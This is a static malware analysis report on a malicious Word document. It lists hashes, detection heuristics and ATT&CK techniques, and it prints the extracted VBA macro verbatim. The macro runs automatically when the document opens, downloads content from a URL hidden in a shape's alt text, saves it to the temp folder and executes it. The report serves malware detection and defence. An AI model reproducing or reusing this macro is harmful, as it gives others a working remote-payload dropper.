Malicious Office (OOXML) — malware analysis report

Static analysis result for SHA-256 75d96ee4d9e94bf9…

MALICIOUS

Office (OOXML)

111.7 KB Created: 2020-07-30 14:06:00 UTC Authoring application: Microsoft Office Word 16.0000 First seen: 2020-09-04
MD5: 572cbdf91dc3ba3b843548d6513c908b SHA-1: c4a1445988c626c5b0ad7ab6fd9e753dcaa29300 SHA-256: 75d96ee4d9e94bf92db139253c67bfe4a2889ca171e663ec3bad66fde694315f
270 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1204.002 Malicious File

The sample is a malicious OOXML document containing a VBA macro with an AutoOpen subroutine. This macro uses MSXML2.XMLHTTP60 to download content from a URL embedded in the document's alternative text and saves it as 'main.theme' in the temporary directory. It then executes this downloaded file using WshShell.exec, indicating a downloader or dropper functionality.

Heuristics 7

  • ClamAV: Doc.Downloader.Mrdy-9438963-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Downloader.Mrdy-9438963-0
  • External relationship high OOXML_EXTERNAL_REL
    External target in word/_rels/document.xml.rels: file:///C:\Framework\rels\builds\1\us.jpg
  • VBA project inside OOXML medium 3 related findings OOXML_VBA
    Document contains a VBA project — VBA macros present
  • AutoOpen macro high OLE_VBA_AUTOOPEN
    AutoOpen macro
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Environ() call (env variable access) low OLE_VBA_ENVIRON
    Environ() call (env variable access)
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.microsoft.com/office/word/2010/wordprocessingCanvas OOXML external relationship
    • http://schemas.microsoft.com/office/drawing/2014/chartexOOXML external relationship
    • http://schemas.microsoft.com/office/drawing/2015/9/8/chartexOOXML external relationship
    • http://schemas.microsoft.com/office/drawing/2015/10/21/chartexOOXML external relationship
    • http://schemas.microsoft.com/office/drawing/2016/5/9/chartexOOXML external relationship
    • http://schemas.microsoft.com/office/drawing/2016/5/10/chartexOOXML external relationship
    • http://schemas.microsoft.com/office/drawing/2016/5/11/chartexOOXML external relationship
    • http://schemas.microsoft.com/office/drawing/2016/5/12/chartexOOXML external relationship
    • http://schemas.microsoft.com/office/drawing/2016/5/13/chartexOOXML external relationship
    • http://schemas.microsoft.com/office/drawing/2016/5/14/chartexOOXML external relationship
    • http://schemas.openxmlformats.org/markup-compatibility/2006OOXML external relationship
    • http://schemas.microsoft.com/office/drawing/2016/inkOOXML external relationship
    • http://schemas.microsoft.com/office/drawing/2017/model3dOOXML external relationship
    • http://schemas.openxmlformats.org/officeDocument/2006/relationshipsOOXML external relationship
    • http://schemas.openxmlformats.org/officeDocument/2006/mathOOXML external relationship
    • http://schemas.microsoft.com/office/word/2010/wordprocessingDrawingOOXML external relationship
    • http://schemas.openxmlformats.org/drawingml/2006/wordprocessingDrawingOOXML external relationship
    • http://schemas.openxmlformats.org/wordprocessingml/2006/mainOOXML external relationship
    • http://schemas.microsoft.com/office/word/2010/wordmlOOXML external relationship
    • http://schemas.microsoft.com/office/word/2012/wordmlOOXML external relationship
    • http://schemas.microsoft.com/office/word/2018/wordml/cexOOXML external relationship
    • http://schemas.microsoft.com/office/word/2016/wordml/cidOOXML external relationship
    • http://schemas.microsoft.com/office/word/2018/wordmlOOXML external relationship
    • http://schemas.microsoft.com/office/word/2015/wordml/symexOOXML external relationship
    • http://schemas.microsoft.com/office/word/2010/wordprocessingGroupOOXML external relationship
    • http://schemas.microsoft.com/office/word/2010/wordprocessingInkOOXML external relationship
    • http://schemas.microsoft.com/office/word/2006/wordmlOOXML external relationship
    • http://schemas.microsoft.com/office/word/2010/wordprocessingShapeOOXML external relationship

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source from OOXML) 1721 bytes
SHA-256: fe26c4a2b2269e1969559ba25629ce27d661924996fe73985090789d38e854d6
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True

Attribute VB_Name = "d8ccd55e"
Sub AutoOpen()
Dim f915655c As New d631cc6e
aaa = d6d6d1cb(f816825a)
e24970e8 = f915655c.bc274be4(aaa, "")
d9fbeca7 f45406f1, e24970e8
b989d784 = d6d6d1cb(ActiveDocument.Shapes(1).Title)
Dim ea4ad8da As New WshShell
ea4ad8da.exec "" & b989d784 & " " & f45406f1
End Sub

Attribute VB_Name = "bb289898"
Sub d9fbeca7(f9923910, fd74e6d0)
Dim b680c7b5
b680c7b5 = FreeFile
Open f9923910 For Output As #b680c7b5
Print #b680c7b5, cbf6e951(fd74e6d0)
Close #b680c7b5
End Sub
Function f45406f1()
f45406f1 = Environ("tmp") & "\main.theme"
End Function
Function d6d6d1cb(c9ea5106)
'd6d6d1cb = StrReverse(c9ea5106)
d6d6d1cb = c9ea5106
End Function
Sub f671f7d7()
End Sub
Function cbf6e951(fd74e6d0)
cbf6e951 = StrConv(fd74e6d0, 64)
End Function
Function f816825a()
f816825a = ActiveDocument.Shapes(1).AlternativeText
End Function

Attribute VB_Name = "d631cc6e"
Attribute VB_Base = "0{FCFB3D2A-A0FA-1068-A738-08002B3371B5}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = False
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False
Function bc274be4(d400aed7, b7586eb5)
Dim fbac0f09 As Object
Set fbac0f09 = New MSXML2.XMLHTTP60
Call fbac0f09.Open("GET", d400aed7, False)
fbac0f09.Send
bc274be4 = fbac0f09.responsebody
End Function
Function c559947b(b00c7ce4)
End Function
vbaProject_00.bin vba-project OOXML VBA project: word/vbaProject.bin 19456 bytes
SHA-256: ee1cf9ad56c16a2c6a3894f39d07624124698993cf55efc2420867018c65d5a2
Detection
ClamAV: Doc.Downloader.Mrdy-9438963-0
Obfuscation or payload: unlikely

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